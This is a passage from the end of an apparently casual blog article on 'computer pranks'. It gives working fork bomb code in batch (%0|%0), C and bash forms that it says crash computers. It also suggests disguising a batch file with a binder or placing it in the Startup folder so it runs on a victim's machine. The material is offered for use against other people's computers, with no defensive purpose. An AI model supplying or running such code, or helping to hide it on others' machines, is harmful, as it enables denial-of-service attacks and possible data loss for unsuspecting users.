Then save the file as “systemhack.bat“. Now run it on a computer. That’s it. You can use Shockwave’s Binder or place the file in the Startup to make the prank more convincing.
  • Fork Bomb (Crash Computers)
This is not a prank, if you execute the Fork Bomb on a computer, it will increase the CPU load until a crash occurs.
Here is how to make fork Bomb:
Copy this code:

%0|%0

Then paste it in a notepad, and save it as “fork.bat“.That’s it. You just created a virus!

Here is a C version of Fork Bomb:

#include <unistd.h>
int main(void)
{
while(1)
fork();
return 0;
}

Here is a shell (Unix/bash) version of Fork Bomb:

:(){ :|:& };:

There was one another cool program on my list – “office poltergeist“, but it’s official chrome extension is not available anymore, so I did’t include it in this article.
That’s all. I hope you liked the pranks. If you did, please share this article….
If you know any other computer prank, please put that in the comment section with your name or site, we will add that in this article.
